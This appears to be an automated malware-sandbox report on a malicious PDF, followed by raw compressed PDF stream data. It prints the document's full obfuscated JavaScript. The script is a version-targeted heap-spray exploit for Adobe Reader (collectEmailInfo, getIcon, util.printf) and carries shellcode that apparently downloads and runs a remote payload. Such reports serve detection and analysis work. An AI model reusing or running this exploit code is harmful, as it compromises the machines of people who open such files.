MALICIOUS
82
Risk Score
Heuristics 2
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Analysis timed out (partial result) info ANALYSIS_TIMEOUT_PARTIALAnalysis exceeded the wall-clock timeout. Heuristics emitted by completed phases are preserved; phases interrupted mid-execution may have missed findings.
Extracted artifacts 13
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0018_000.js |
pdf-javascript-stream | PDF /JS object 18 at offset 0x330F | 11582 bytes |
SHA-256: efd1ecbebd2cf79f8f154cb746c9dfc98bde08950ef360f557b5c813d63e2a09 |
|||
Preview scriptFirst 1,000 lines of the extracted script
�� f u n c t i o n v b O P u s N c ( v b 6 e y 6 V u t ) { r e t u r n v b 6 e y 6 V u t ; } v a r a J v l n O j m = n e w A r r a y ( 9 0 7 0 , 1 8 9 5 9 , 1 9 1 0 0 ) ; v a r f 7 D 1 b c q X = " v d 9 a T H H p " ; v a r o F J l W m X 8 = ' v a r y i V R j O k Y t m = n e w A r r a y ( ) ; v a r z f B U Z F 8 x ; f u n c t i o n o z T 5 j Z 5 D ( w Y k U B V d 4 , k t e k U b j H ) { w h i l e ( w Y k U B V d 4 . l e n g t h * 2 < k t e k U b j H ) { w Y k U B V d 4 + = w Y k U B V d 4 ; } w Y k U B V d 4 = w Y k U B V d 4 . s u b s t r i n g ( 0 , k t e k U b j H / 2 ) ; r e t u r n w Y k U B V d 4 ; } f u n c t i o n m C M e Z d p V P ( h b p V k V k F C M ) { i f ( h b p V k V k F C M = = 0 ) { v a r l 8 v 9 d C l z n = 0 x 0 c 0 c 0 c 0 c ; } e l s e i f ( h b p V k V k F C M = = 1 ) { l 8 v 9 d C l z n = 0 x 3 0 3 0 3 0 3 0 ; } v a r q 9 p Y 6 G Q 0 b = n e w A r r a y ( \ " % u 5 3 5 0 % u 5 \ " , \ " 2 5 1 % u 5 7 \ " , \ " 5 6 % u 9 c 5 \ " , \ " 5 % u 0 0 e 8 % u 0 \ " , \ " 0 0 0 % u 5 d 0 0 % \ " , \ " u e d 8 3 % u 3 \ " , \ " 1 0 d % u 6 4 c 0 % \ " , \ " u 4 0 0 3 % u 7 8 3 \ " , \ " 0 % u 8 b 0 c \ " , \ " % u 0 c 4 0 % u 7 0 \ " , \ " 8 b % u a d 1 c % \ " , \ " u 4 0 8 b % \ " , \ " u e b 0 8 % u 8 b 0 \ " , \ " 9 % u 3 4 4 0 % u \ " , \ " 4 0 8 d % \ " , \ " u 8 b 7 c % u \ " , \ " 3 c 4 0 % u 5 \ " , \ " 7 5 6 % u 5 e b \ " , \ " e % u 0 0 0 1 % u \ " , \ " 0 1 0 0 % u b f e e \ " , \ " % u 0 1 4 e \ " , \ " % u 0 0 0 0 % \ " , \ " u e f 0 1 % u d 6 \ " , \ " e 8 % u 0 0 0 1 \ " , \ " % u 5 f 0 0 % \ " , \ " u 8 9 5 e % u 8 1 e \ " , \ " a % u 5 e c 2 % u 0 \ " , \ " 0 0 1 % u 5 2 0 0 % \ " , \ " u 8 0 6 8 % u 0 \ " , \ " 0 0 0 % u f \ " , \ " f 0 0 % u 4 e 9 \ " , \ " 5 % u 0 0 0 1 \ " , \ " % u 8 9 0 0 % \ " , \ " u 8 1 e a % u 5 e c \ " , \ " 2 % u 0 0 0 \ " , \ " 1 % u 3 1 0 0 % u \ " , \ " 0 1 f 6 % u 8 a \ " , \ " c 2 % u 3 5 9 c % u \ " , \ " 0 2 6 3 % u \ " , \ " 0 0 0 0 % u f b \ " , \ " 8 0 % u 7 \ " , \ " 4 0 0 % u \ " , \ " 8 8 0 6 % u \ " , \ " 3 2 1 c % u e \ " , \ " b 4 6 % u c \ " , \ " 6 e e % u 3 \ " , \ " 2 0 4 % u 8 9 0 \ " , \ " 0 % u 8 1 e a % u 4 \ " , \ " 5 c 2 % u 0 0 0 2 % \ " , \ " u 5 2 0 0 % \ " , \ " u 9 5 f f % u 0 1 5 \ " , \ " 2 % u 0 0 0 0 \ " , \ " % u e a 8 9 % u c 2 \ " , \ " 8 1 % u 0 \ " , \ " 2 5 0 % u 0 0 \ " , \ " 0 0 % u 5 0 5 2 % u \ " , \ " 9 5 f f % \ " , \ " u 0 1 5 6 % \ " , \ " u 0 0 0 0 % u 0 0 6 \ " , \ " a % u 0 0 6 a % u \ " , \ " e a 8 9 % u c 2 8 \ " , \ " 1 % u 0 1 5 e % u 0 \ " , \ " 0 0 0 % u 8 9 \ " , \ " 5 2 % u 8 1 e a \ " , \ " % u 7 8 c \ " , \ " 2 % u 0 0 0 2 % u \ " , \ " 5 2 0 0 % u 0 0 6 a \ " , \ " % u d 0 f f % u 0 5 \ " , \ " 6 a % u e a \ " , \ " 8 9 % u c 2 8 1 % \ " , \ " u 0 1 5 e % u \ " , \ " 0 0 0 0 % u f f \ " , \ " 5 2 % u 5 a 9 5 \ " , \ " % u 0 0 0 1 % u \ " , \ " 8 9 0 0 % u 8 1 \ " , \ " e a % u 5 e c 2 % u \ " , \ " 0 0 0 1 % u \ " , \ " 5 2 0 0 % u \ " , \ " 8 0 6 8 % u 0 0 0 0 \ " , \ " % u f f 0 0 % u 4 \ " , \ " e 9 5 % u 0 0 \ " , \ " 0 1 % u 8 9 \ " , \ " 0 0 % u 8 \ " , \ " 1 e a % u 5 e \ " , \ " c 2 % u 0 0 0 1 \ " , \ " % u 3 1 0 \ " , \ " 0 % u 0 1 f 6 % u 8 \ " , \ " a c 2 % u 3 5 9 c \ " , \ " % u 0 2 6 e % u \ " , \ " 0 0 0 0 % u f b 8 0 \ " , \ " % u 7 4 0 0 % u \ " , \ " 8 8 0 6 % \ " , \ " u 3 2 1 c % u e b \ " , \ " 4 6 % u c \ " , \ " 6 e e % u 3 \ " , \ " 2 0 4 % u 8 \ " , \ " 9 0 0 % u 8 1 \ " , \ " e a % u 4 5 c 2 % u \ " , \ " 0 0 0 2 % u 5 \ " , \ " 2 0 0 % u 9 5 f \ " , \ " f % u 0 1 5 2 % u \ " , \ " 0 0 0 0 % u e a 8 9 \ " , \ " % u c 2 8 1 % \ " , \ " u 0 2 5 0 \ " , \ " % u 0 0 0 0 % u 5 0 \ " , \ " 5 2 % u 9 5 f \ " , \ " f % u 0 1 5 6 % u 0 \ " , \ " 0 0 0 % u 0 0 6 a % \ " , \ " u 0 0 6 a % \ " , \ " u e a 8 9 % u \ " , \ " c 2 8 1 % u \ " , \ " 0 1 5 e % u 0 0 0 0 \ " , \ " % u 8 9 5 2 % u 8 1 \ " , \ " e a % u a 6 c 2 % \ " , \ " u 0 0 0 2 % u 5 2 0 \ " , \ " 0 % u 0 0 6 a % \ " , \ " u d 0 f f \ " , \ " % u 0 5 6 a % \ " , \ " u e a 8 9 % u \ " , \ " c 2 8 1 % u 0 1 5 \ " , \ " e % u 0 0 0 0 % u f \ " , \ " f 5 2 % u 5 a 9 5 % \ " , \ " u 0 0 0 1 % \ " , \ " u 9 d 0 0 % u 5 \ " , \ " f 5 d % u 5 a 5 e \ " , \ " % u 5 b 5 9 % \ " , \ " u c 3 5 8 % u 0 0 0 \ " , \ " 0 % u 0 0 \ " , \ " 0 0 % u 0 0 0 0 % \ " , \ " u 0 0 0 0 % u 0 \ " , \ " 0 0 0 % u 0 0 0 0 \ " , \ " % u 0 0 0 0 % u \ " , \ " 0 0 0 0 % u \ " , \ " 6 5 4 7 % u 5 \ " , \ " 4 7 4 % u 6 \ " , \ " d 6 5 % u 5 0 7 0 \ " , \ " % u 7 4 6 1 \ " , \ " % u 4 1 6 8 % u \ " , \ " 4 c 0 0 % u 6 1 6 f \ " , \ " % u 4 c 6 4 \ " , \ " % u 6 2 6 9 \ " , \ " % u 6 1 7 \ " , \ " 2 % u 7 9 7 \ " , \ " 2 % u 0 0 4 1 % \ " , \ " u 6 5 4 7 \ " , \ " % u 5 0 7 4 % u \ " , \ " 6 f 7 2 % u 4 1 6 \ " , \ " 3 % u 6 4 6 \ " , \ " 4 % u 6 5 7 2 \ " , \ " % u 7 3 7 \ " , \ " 3 % u 5 7 0 0 % u \ " , \ " 6 e 6 9 % u \ " , \ " 7 8 4 5 % \ " , \ " u 6 3 6 5 % \ " , \ " u b b 0 0 % u f 2 8 \ " , \ " 9 % u f 7 8 9 % \ " , \ " u c 0 3 0 % u 7 \ " , \ " 5 a e % u 2 \ " , \ " 9 f d % u 8 9 \ " , \ " f 7 % u 3 1 f \ " , \ " 9 % u b e c 0 % u 0 \ " , \ " 0 3 c % u 0 0 0 \ " , \ " 0 % u b 5 \ " , \ " 0 3 % u 0 2 1 b % u \ " , \ " 0 0 0 0 % u a d \ " , \ " 6 6 % u 8 5 \ " , \ " 0 3 % u 0 2 1 b % u \ " , \ " 0 0 0 0 % u 7 0 8 b \ " , \ " % u 8 3 7 8 % \ " , \ " u 1 c c 6 \ " , \ " % u b 5 0 3 % u 0 2 \ " , \ " 1 b % u 0 0 0 0 % u \ " , \ " b d 8 d % u 0 2 1 f \ " , \ " % u 0 0 0 \ " , \ " 0 % u 0 3 a \ " , \ " d % u 1 b 8 5 % \ " , \ " u 0 0 0 2 % \ " , \ " u a b 0 0 % u 0 3 \ " , \ " a d % u 1 b 8 \ " , \ " 5 % u 0 0 0 2 \ " , \ " % u 5 0 0 0 % u \ " , \ " a d a b % \ " , \ " u 8 5 0 3 % u 0 2 1 \ " , \ " b % u 0 0 \ " , \ " 0 0 % u 5 \ " , \ " e a b % u \ " , \ " d b 3 1 % u \ " , \ " 5 6 a d % \ " , \ " u 8 5 0 3 % \ " , \ " u 0 2 1 b % u \ " , \ " 0 0 0 0 % u c 6 8 \ " , \ " 9 % u d 7 \ " , \ " 8 9 % u f c 5 1 % u \ " , \ " a 6 f 3 % u 7 4 5 9 \ " , \ " % u 5 e 0 \ " , \ " 4 % u e b 4 3 % \ " , \ " u 5 e e 9 % u d 1 \ " , \ " 9 3 % u 0 3 e 0 \ " , \ " % u 2 7 8 5 % u \ " , \ " 0 0 0 2 % u 3 \ " , \ " 1 0 0 % u 9 6 \ " , \ " f 6 % u a \ " , \ " d 6 6 % u e 0 c 1 \ " , \ " % u 0 3 0 2 % u 1 f \ " , \ " 8 5 % u 0 0 0 2 \ " , \ " % u 8 9 0 0 % \ " , \ " u a d c 6 \ " , \ " % u 8 5 0 3 % u 0 2 \ " , \ " 1 b % u 0 0 \ " , \ " 0 0 % u e b \ " , \ " c 3 % u 0 \ " , \ " 0 1 0 % u 0 0 0 0 \ " , \ " % u 0 0 0 0 % u 0 \ " , \ " 0 0 0 % u 0 0 0 \ " , \ " 0 % u 0 0 0 0 % u 0 \ " , \ " 0 0 0 % u 0 \ " , \ " 0 0 0 % u \ " , \ " 8 9 0 0 % u \ " , \ " 1 b 8 5 % u 0 0 \ " , \ " 0 2 % u 5 6 0 0 % \ " , \ " u e 8 5 7 % u f f 5 \ " , \ " 8 % u f f f f % u 5 \ " , \ " e 5 f % u \ " , \ " 0 1 a b % \ " , \ " u 8 0 c e % u b b 3 \ " , \ " e % u 0 2 7 4 % \ " , \ " u e d e b % \ " , \ " u 5 5 c 3 % u 4 c \ " , \ " 5 2 % u 4 f 4 d % \ " , \ " u 2 e 4 e % \ " , \ " u 4 c 4 4 \ " , \ " % u 0 0 4 c % \ " , \ " u 5 2 5 5 % \ " , \ " u 4 4 4 c % u \ " , \ " 7 7 6 f % u 6 c \ " , \ " 6 e % u 6 1 6 \ " , \ " f % u 5 4 \ " , \ " 6 4 % u 4 \ " , \ " 6 6 f % u 6 c 6 9 \ " , \ " % u 4 1 6 5 % u 7 \ " , \ " 5 0 0 % u \ " , \ " 6 4 7 0 % \ " , \ " u 7 4 6 1 % u 2 \ " , \ " e 6 5 % u 7 8 6 \ " , \ " 5 % u 0 0 6 5 % u \ " , \ " 7 2 6 3 % u 7 \ " , \ " 3 6 1 % u 2 e 6 8 % \ " , \ " u 6 8 7 0 % u 0 0 \ " , \ " 7 0 % u 7 4 6 8 % u \ " , \ " 7 0 7 4 % u 2 f 3 \ " , \ " a % u 7 4 2 f % u \ " , \ " 6 1 7 2 % u 6 b 6 3 \ " , \ " % u 7 2 6 5 \ " , \ " % u 6 c 2 e % u 6 b \ " , \ " 6 9 % u 6 4 \ " , \ " 6 5 % u 7 6 6 5 \ " , \ " % u 6 c 6 9 % u 6 \ " , \ " 3 2 e % u 6 d 6 f \ " , \ " % u 3 5 2 \ " , \ " f % u 7 5 2 \ " , \ " f % u 6 4 7 0 % \ " , \ " u 7 4 6 1 % \ " , \ " u 2 e 6 5 % u \ " , \ " 6 8 7 0 % u 3 f \ " , \ " 7 0 % u 6 \ " , \ " 4 6 9 % u \ " , \ " 3 3 3 d % u \ " , \ " 7 2 2 6 % u \ " , \ " 7 4 6 5 % u 6 \ " , \ " f 3 d % u 0 \ " , \ " 0 6 b % u 9 0 \ " , \ " 0 0 \ " ) ; q 9 p Y 6 G Q 0 b = u n e s c a p e ( q 9 p Y 6 G Q 0 b . j o i n ( \ " \ " ) ) ; v a r q 9 s X t O n c k o = 0 x 4 0 0 0 0 0 ; v a r v a 7 m Y 8 c M = q 9 p Y 6 G Q 0 b . l e n g t h * 2 ; v a r k t e k U b j H = q 9 s X t O n c k o - ( v a 7 m Y 8 c M + 0 x 3 8 ) ; v a r w Y k U B V d 4 = u n e s c a p e ( \ " % u 9 0 9 0 % u 9 0 9 0 \ " ) ; w Y k U B V d 4 = o z T 5 j Z 5 D ( w Y k U B V d 4 , k t e k U b j H ) ; v a r n 5 e 4 G m G I K a = ( l 8 v 9 d C l z n - 0 x 4 0 0 0 0 0 ) / q 9 s X t O n c k o ; f o r ( v a r g K G f N I j g = 0 ; g K G f N I j g < n 5 e 4 G m G I K a ; g K G f N I j g + + ) { y i V R j O k Y t m [ g K G f N I j g ] = w Y k U B V d 4 + q 9 p Y 6 G Q 0 b ; } } f u n c t i o n j x J h k M f 2 ( ) { v a r r B M n i i L J a = 0 ; v a r z z R T q 7 d y O = a p p . v i e w e r V e r s i o n . t o S t r i n g ( ) ; a p p . c l e a r T i m e O u t ( z f B U Z F 8 x ) ; i f ( ( z z R T q 7 d y O > = 8 & & z z R T q 7 d y O < 8 . 1 0 2 ) | | z z R T q 7 d y O < 7 . 1 ) { m C M e Z d p V P ( 0 ) ; v a r b T 7 j A m o 1 = u n e s c a p e ( \ " % u 0 c 0 c % u 0 c 0 c \ " ) ; w h i l e ( b T 7 j A m o 1 . l e n g t h < 4 4 9 5 2 ) b T 7 j A m o 1 + = b T 7 j A m o 1 ; v a r q W B 6 p z p o n 9 = t h i s ; v a r l a B X f 5 3 F r = C o l l a b ; q W B 6 p z p o n 9 [ \ " c o l l a b S t o r e \ " ] = l a B X f 5 3 F r [ \ " c o l l e c t E m a i l I n f o \ " ] ( { s u b j : \ " \ " , m s g : b T 7 j A m o 1 } ) ; } i f ( ( z z R T q 7 d y O > = 8 . 1 0 2 & & z z R T q 7 d y O < 8 . 1 0 4 ) | | ( z z R T q 7 d y O > = 9 & & z z R T q 7 d y O < 9 . 1 ) | | z z R T q 7 d y O < = 7 . 1 0 1 ) { t r y { i f ( a p p . d o c . C o l l a b . g e t I c o n ) { m C M e Z d p V P ( 2 ) ; v a r s w q U M H j 0 = u n e s c a p e ( \ " % 0 9 \ " ) ; w h i l e ( s w q U M H j 0 . l e n g t h < 0 x 4 0 0 0 ) { s w q U M H j 0 + = s w q U M H j 0 ; } s w q U M H j 0 = \ " N . \ " + s w q U M H j 0 ; v a r m g e 6 M 2 h G m G = a p p ; m g e 6 M 2 h G m G [ \ " d o c \ " ] [ \ " C o l l a b \ " ] [ \ " g e t I c o n \ " ] ( s w q U M H j 0 ) ; r B M n i i L J a = 1 ; } e l s e { r B M n i i L J a = 1 ; } } c a t c h ( e ) { r B M n i i L J a = 1 ; } i f ( r B M n i i L J a = = 1 ) { i f ( z z R T q 7 d y O = = 8 . 1 0 2 | | z z R T q 7 d y O = = 7 . 1 ) { m C M e Z d p V P ( 1 ) ; v a r u p C 1 M c j E W W = \ " 1 2 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 \ " ; f o r ( a r 1 g k Q 9 R M = 0 ; a r 1 g k Q 9 R M < 2 7 6 ; a r 1 g k Q 9 R M + + ) { u p C 1 M c j E W W + = \ " 8 \ " ; } v a r r f x w u 5 A I U 4 = u t i l ; r f x w u 5 A I U 4 [ \ " p r i n t f \ " ] ( \ " % 4 5 0 0 0 f \ " , u p C 1 M c j E W W ) ; } } } } a p p . q w 5 3 g K J I H = j x J h k M f 2 ; z f B U Z F 8 x = a p p . s e t T i m e O u t ( \ " a p p . q w 5 3 g K J I H ( ) \ " , 1 0 ) ; ' ; v 8 4 7 H s o 8 j = ' y w t F 0 e x o p J ' ; f u n c t i o n m r t z c c J B Y ( l g K M 5 z 1 y ) { } v a r w y x Z A 3 F e X = n e w A r r a y ( 2 7 9 4 0 , 8 3 3 3 ) ; v a r h w 7 u u C j l G = o F J l W m X 8 . r e p l a c e ( / [ ] / g , ' ' ) ; t h i s . e m v d m I N g G = " o I F Z I Y I b G " ; v a r c M O m w e d L L y = " d e m 5 W x X 7 g " ; v a r n B 3 u p Y H y = " a q h p B l f h " ; v a r m T e m A 9 j c n = ' e ' + ' v ' + ' a ' + ' l ' ; a p p [ m T e m A 9 j c n ] ( h w 7 u u C j l G ) ; t h i s . x W 5 i t i v Y J = 0 . 2 0 6 9 8 ; v a r d h m g U R T 2 = f a l s e ; t h i s . u Z F f C a F 2 a = n u l l ;
|
|||
stream_004_off0000330f.js |
decompressed-pdf-stream | PDF FlateDecoded stream at offset 0x330F | 5790 bytes |
SHA-256: 78219b1ffa97a5e51baf4e9a40dfc0575a7078fa05909304a920c5ecdbcba923 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 37 of 65 identifiers look randomly generated (e.g. 'q9sXtOncko') — consistent with name-mangling obfuscation.
|
|||
generic_stage_recovery_000.js |
deobfuscated-js | generic stage recovery null-collapse from raw PDF metadata at offset 0x0 | 20604 bytes |
SHA-256: 52e9f588b55b023447bc05797946264311ab181ac5612318544769a094a50db3 |
|||
|
Detection
ClamAV:
Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 2811>>
stream
x�՜˒۸ ��� g�d�!%Q��ƙKe*Y�ǙTjj ��@� H��� �mC��nm�v �X � s�p � �xA{
� <6�ǟ�O���x�w���w?Mh �!�]ӏo��=� =y��h LW�JH�<��h6 b|o �Ҋ��GD?h����SZ�o�gG��B|4|�lr�e��"��h9��1��菿$R���F��z��?��/����|2�O�� ���`1y�M����Vf� ��'�` �� ?��� � =�{~�7??~��p�O����� 1��)-�� ZQEq<�Ix|��7������}��K�����2�?Z槲 JRf�� ��:c�H��]i�RѾ�2���}O"-dFU�^S') �*�F��V�VR-e� ��J[P�+\foz��c� N9�U�
帑P�)Q���kH ��Pitmi/ � ��x��R�U�
�_)�� $gb_�� M�mA��] I�
6� 墑�V�+���SڵJ�~�EA�h� tn�*�Zj
� �0��R�Z��J`�J��j�(k��0�~� ٲ�,�[R�b�sʍ���� z
�)K� +�(���Ybbx �ڧ��$�=گ-$ З
U �$�/��� K�.�Z����65%��%5��D@�M)�T�� l� _m���uR� ,���shO���+ۜ`Z� ��O}���p��z#`,qO��0��"d� k�b���g �侄qL��l1���x/�Ԥz q �� x+b
�Bk��S�I ��O}��c�� � >��K!�G)%�/ �p/X��� ��,�%+R#���.��i[ڮ)���juM[x'��h ��&m}� � ��(�#%� N���s!�6��*!W$���T��{ 셹ƀ� 랽M�=�-E �&)[� +[��N�T���l4����5����n�Z��� �� <� �� �� cK Rg@�K ���؋�L�� �
6�j�轂� /
R
� ,f�ȵIEYY�<���3J6������FX� >$� �"�>�D� �D �� �� zF��ଽ��?_8�]� �� � -+ -r'�o�Qt�,� $Nhk9�0�H�U�Q&K � �x �6 , `�-��:�sG� �EB��(KI1�e�X�*d�h���M�*� wΐ�ƘD�?H���Z�W
^�W̍�a�J>2ȧ����8 OC k?$��dS�b�� -�z'N�i H>�M x �� ;z�! GL��/2� vZ$l��=.�!
}��8� ��1tX Y�Ԃ6���ː % O}!�T^&QkJ8"��o�@� X���7]��J� u�c0 � �z�{��A�� P'��k|j � *��U�#�� VN�T��匨b ��t�j��rUuD��F�(�~,�}�0g�'e�mx�(/^9|��� *#UV �w(���������3H���Ɇ�H �A.� \H� ���M��� ً��S���(�� �%�HA{��k �c�r��F���[>�� �rD0&t[#+_��. pV0�R��W�� jF�yP�!G�\c��s �)�p�!do���v��&�RzOk ��2:�9�`���1�� NE�� �1��"
Ps#��� �z��kN�i�t�Hm�|��6�� 6{m� y}Yy{�G����Ft�#Y�Js� +*�� !�a�"��l��+�;� ��N���=W ��7q�9j�R �
'M����p��=%��� ���ik��N<_prOర2 ��f�z���S^�(vk �� � �Om�A3�Y7�V Ac����:{�&� oj���y� � ̭�(d�J� Sim�� �?t2}j[:@����� �wDfN�b��^wy�R��c@�=�� ��[8<]� Ѕ�x�9Qp�4E Zޟ9S�R��� �F�[$P�� ��S���":�:H K� �� �c@$ p� ��S rf��� ��:J�|z��Wi R�� Ƃ�S � ����K, jc��bG�' 8�l9�nD%� Zų�C��k��Y�Ϧ�7W��꘍
� k,֑������đ�[iMϢŭ�� M��9��J�L�P��!C��{� .o�M�d#S$�d�`%Zd�L�� ���Z� �ԣ���a�֝� l X @ ��Kp�� �
�ui�3�� ���jӥK�����we��KA3����i ۧ����m٪�����C� 0a� yO9烫����S��`��J� N�X�u0?����� �_�(�t������:����~[�Ϡ�j$y�I�C ��[�� m�#j��s�D.��|c �UF���--��X A�ܣ������U$�u,� �9�TS��V�U-6FW ��aia�~���S�ҥ��{��/ 2�[�V��LCݧ��c�ж�$� B � �iI 3� �3�&���')��E�1�R�C#� ����Tɸ��U�� Rp O�d \ �� ;�|,��t��d�� �r{����g��*�!�b��[+K'�3� ٟ>� ]� ��^\�� ��+�� ��L �N����\.�0O���y���(3 �*�;uq�ק���� ��r :� �.m%��,>�� �|� ���Ev
�g�9ڠ�
7�D���s+h� ���,/d�F��^}�[:� txO��#P�bI +o
�b�:��x���a擋�� Α�D��%�Զp :<���
X'��z�[�'� ]��O}sG!�G��a�N�\���S�m�[61� �Y���k� �/v ����9Tx�4;�p���h� fD�\c؉60� = ��� ��+ �/�T7u { )��; ;,|���%㧛� 3�p�� K�[:�^�9��� '� i�=�S �c�ý�L�y<�ȟ��{[p������m��n F�C�5� �% �N���Q���������w t � Tg0� - ʘ+6
?��-�.��\ ~���� � p��K�яD=��
� /�~�3S7 �� )��$h ���hv���� p�? ���
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 2569>>
stream
x�͛M��� ���+��I � d7���>�b:�d1g �, -�.���]S�]�P �ɢ���`��~<�W���%�ȧ/���_ �_)~>�'��tK i��>�f���ͷ�g��g 3o��->E o��y�E�o x~HII � Џ�~9�=���ۿ:�o��R��O� �&X,�pN� Ft�ү ��T� 4����Ͽ�� |���< �[� a��-��3��� 7<�/k� �{��v7x~�n� ��ӛ�������'��_=0���!b~� - +/XSIQ43����� ��/#"����'���G�G+o�h� � <% ǚ=�3jX�pʕ�(fRz����!�c�RW7���mUB��u�VI� ��R�7Tp�[~��7�DSP�4u9�[m��IW�� �S�|�����V��ӎ����x��W"멖,�G�� �7mQ2JT�*�J��0Y6��Z-r*����6
՚U �ctץ
w �5$ʚ� ��u�%�t�T[� ���%+1����� f� i��� �T�v�����I� ��Ř�Bu�\� zp�Σ�e��Tq�bb Ų�
m!J' � �3�o ��U�}s)o z�G�� mAM�� ���o �8 �Kb-��C [.)g5oh� ��� ���-�0L����h�S�s ���/-��*o���Ņ q��? >s�.�=�]�dKa S����G_:I��0���$"�P9�m{�c � �dC\� F4�� � �k�,��ڂ�zQ�+��85;�� �`��
�8� ̟����I iB��f��vy E�d F�� F�z�r� J�&:q%��Fζ �Q�.F�nqU&q <�3*UmRS� <�z��S�}�쁓P${�Y-���F< �Z3:�a�����9� �� ɣf ���RQ���G���vi��z� hw,&^mU�r> +���1-1K :7 � 5k[�f �F��BHK )x��Ҏ$KS8L �N$�U�QN��� #$, ���%�Q�5H�%.C2�D� #�l� ��{<"E� D� Y�{��� )0(�ρ�{ �* 5ޏ�O��R��RĆTS�� #�zRd�� i%�ڞ�N"��� �-'U`�w
�� *�Ο��*��� �P _�{��Y NF���6�� �BsK,�"� r�1B�"� z.��, ��J z �J� Qޕ"�`� ��� � &��* O �R\h�y� [L�Q X'�
։�x9% K���i � oB�G#��$3�"��K�e 5J�.���2Rl�� ����� �H�S�5�|
�;� ɫ�q��2f�q.�&Z[ �s
�� �0�}W� �
+
L����ieI� ���鈴 +_�q:���ٗJX:+.��G�<��dܕ�J���ҩ��M��`yVO��� |�]�Th��#y�| ��ȲA��� ٌm�y�˭ jL� CB���LB�R ��qC�2Q�
S��H$��
���=rΥ�����4u�B3��G�֗֫ ڴ
!��wJµ�� ^Zמ� � ?$U&�gXV#��� L6� =Z4� 1V�j �.Ņ6뿪����? �Q` 2�s��s�����^D����GxR
�ԍS}� �N38��t,Y� . e��,y=�l ��V� ) �@%g�t�%��V ' ��WJ���%����L��V ��itr�oi��Z ^���MM� e ��}Γf�My�v&z�v�ݘ/,�R3� ���� +��[�N�Y@ �@ �2 �r��l� ̺��U�C��~�kz*-� QDM�ПQʥ�� j��i �9
��Q?j ��ȧD3p���Ѽ��D�C~Ժ?��K}3 ��Jwl�=�\� -�, )?l�� sg^nƾU@ ��X]]c�&�%��N �y`Y��(5�] +��� ��T�[�؍ʓ�R% @A�mͲ�����h��R��fk� ^ R ��� �c�U�4]�� 9�Bl � ��G���֥���A����r� ;m/�V��5XX6��( ����ӕ�턚Υ��E͛A9����h�,_F ��-A���[� �t� �r$3��W ����g���@��65P ����)��+�� Y�Ω8�� �� to� �ȥ��h�{B��ԏ|��߯��"��� �m�0���|L&"a.��ܱ� m�� ��V #!��j�uChS � m�[sH��$�S�O0�I(.�-� � OϨ� ɆI�/E[�c� t:�����k� F /%߅�o�|�z���v߬���S��"�u8 � ���%ȁ�� �� H�]U��� �-@���8�����mځ��KGr k=����
ե�� �\3��;l +N
��w�㎅�M�n�z���Cu���� V� �fC-� � � W�z�? %� �-�'R���Q�ly +K��� j�� )��\�L�
.V��� a�ӱ.Á�u � {`: ;�3
�.�-l� �����=Ա�iٕfqQrSi4��ʥ���Շ���0��|�� N�k���B}�qV�#�ټ?Ԥ=G*� ��� ~3���t�_�Yʴ�3�.{��£� ��W���&'�? г�٦mi9o��� ʄ � �T ؼ���B�O�L@c�\.�� �j;:�z�O�^;��e�� �/ ���|�&����T�k �[[��}s.廿��t�^߾��_}, wN��ˣ݂��͜�~= w�� �0�����72�,�o{ ~5/{_���� ����k�*6��4?R���o� ���:
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
<</Filter /FlateDecode /Length 2714>>
stream
x��[Ms�8 ��W���v/ � �����$����d����9�$H� %+�~ �c�6%Q��S�*)6-�h��` $K�QH ��~� 9^ �*o�}� �Ǵ > ���/�cѓc E�`��)!%�`��y $8o aLYM?�#�� �r8{F+wvxv _(�G�'�$|M�X �V1 &�9����r�v?j�N��_ �� ��߮�d� � F ��2>\S������ �9�d � ��� x��� ث�7/��Ӈ�O? ���q|: � �h�X њjJ������%��n~���Ҿ<��izX�d , V��SC� MI ��=�J7���� �ӂ T cȴ��8�N� �Lg U�6� 2')j|Kʴ=�S_�<�L��pڔ�ij�)�uN�oq��E �/����:<��Z�Z%Ef �d[Qɶ\��t�� ?�TȾ��4g [˩T5� x b D ��A����"�ט�
���ۀN� +��:Q���lC�d ��� ��sN_ � ���<�� �Tёa� ��[��fq0 s IO�2 �Xd���δ �#���^JjYש�6 K`��{ʔdT���� �L�d@� R�!��'��k��E�)ĭ�!�:D +:����cⰝ�pJՎcx?J)0�,M5�q�� �͘R ��ؓ�;��1� ���� �ɰt�8˱Z: ��� f`�2j ���ޘ�~�|� � ��P�� hԖ�=�� �6 � �
V�� l�PV� �%7^�'\<�ϯ �C )�2�1X��rQ� G��
Q!lF����R �X �-i�[���J� ��{��^�����^����s�m���6��-YZEd ���;�p (� ��P��-��_ }限���.��l�U�g ����� s��JY���+����%��^[nh �"� � B ��b�X-:Lr_"il�L44�� "[�P d�!04p Q6 k &*Y,q� � 9��K �� ,.���D�tZr �A�W �R�-x�5@Z�^ �!�*h"x,� " �d*UPWq�i��C5E F�
�;����&g �� ���� ?����>��� >�����w�l��^` ���d��U�0���Ox �E}+ �������֜� :[ ( Ϥ] ��!m *�*O��L} >�%N��h�d�R� �-$ � 0��r�&�N[.J�ׁ̜tL �1iV �Y�n���� ����<�i�� � �ט����;�ač@��B�
v�wc⭕� D�~g?rjq^� "��U:t�?�� ����NB�-��T�� ��K1� ��AN5#Rm�,����(��r5�'�,� b˽Bsto�߅N֎{�� ^Dzrdy��8**�ܟ � �� ��1�p��5
DP�
